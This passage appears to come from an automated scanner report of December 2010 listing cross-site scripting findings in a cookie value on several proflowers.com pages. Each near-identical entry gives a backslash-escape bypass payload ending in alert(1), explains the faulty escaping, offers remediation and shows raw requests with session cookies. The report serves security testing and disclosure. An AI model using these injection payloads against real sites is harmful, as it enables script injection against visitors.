HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:06:02 GMT Connection: close Content-Length: 159992
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c023e\"%3balert(1)//83ff865dc10 was submitted in the PFC_BrowserId cookie. This input was echoed as c023e\\";alert(1)//83ff865dc10 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /christmas-flowers-chf HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0dc023e\"%3balert(1)//83ff865dc10; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:06:28 GMT Connection: close Content-Length: 250584
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6ec1f\"%3balert(1)//f7f3a1fa2fa was submitted in the PFC_BrowserId cookie. This input was echoed as 6ec1f\\";alert(1)//f7f3a1fa2fa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /christmas-gifts-cgt HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d6ec1f\"%3balert(1)//f7f3a1fa2fa; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:08:00 GMT Connection: close Content-Length: 249516
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e559a\"%3balert(1)//9fc909d1034 was submitted in the PFC_BrowserId cookie. This input was echoed as e559a\\";alert(1)//9fc909d1034 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /cookies-brownies-coo HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0de559a\"%3balert(1)//9fc909d1034; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:15:11 GMT Connection: close Content-Length: 296032
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2a681\"%3balert(1)//aece8768397 was submitted in the PFC_BrowserId cookie. This input was echoed as 2a681\\";alert(1)//aece8768397 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /corporate-gifts-cor HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d2a681\"%3balert(1)//aece8768397; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:11:34 GMT Connection: close Content-Length: 235483
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3242c\"%3balert(1)//52a5e291d9b was submitted in the PFC_BrowserId cookie. This input was echoed as 3242c\\";alert(1)//52a5e291d9b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /daisies-das HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d3242c\"%3balert(1)//52a5e291d9b; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:11:33 GMT Connection: close Content-Length: 73812
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cc5d3\"%3balert(1)//87aeb2056b2 was submitted in the PFC_BrowserId cookie. This input was echoed as cc5d3\\";alert(1)//87aeb2056b2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /default.aspx HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0dcc5d3\"%3balert(1)//87aeb2056b2; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:05:12 GMT Connection: close Content-Length: 83128
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 86a5a\"%3balert(1)//393a4cf5f7a was submitted in the PFC_BrowserId cookie. This input was echoed as 86a5a\\";alert(1)//393a4cf5f7a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /dinner-flowers-dnf HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d86a5a\"%3balert(1)//393a4cf5f7a; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:13:48 GMT Connection: close Content-Length: 63002
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c9de2\"%3balert(1)//bc06eb9add0 was submitted in the PFC_BrowserId cookie. This input was echoed as c9de2\\";alert(1)//bc06eb9add0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /directFromFields.aspx HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0dc9de2\"%3balert(1)//bc06eb9add0; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:16:40 GMT Connection: close Content-Length: 60553
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bc8f4\"%3balert(1)//43c2ea274cd was submitted in the PFC_BrowserId cookie. This input was echoed as bc8f4\\";alert(1)//43c2ea274cd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /discount-flowers-ssv HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0dbc8f4\"%3balert(1)//43c2ea274cd; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:14:29 GMT Connection: close Content-Length: 215759
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4e3c0\"%3balert(1)//85510e8c312 was submitted in the PFC_BrowserId cookie. This input was echoed as 4e3c0\\";alert(1)//85510e8c312 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /employee-favorites-emp HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d4e3c0\"%3balert(1)//85510e8c312; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:14:56 GMT Connection: close Content-Length: 234535
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a5757\"%3balert(1)//08a409a90a5 was submitted in the PFC_BrowserId cookie. This input was echoed as a5757\\";alert(1)//08a409a90a5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
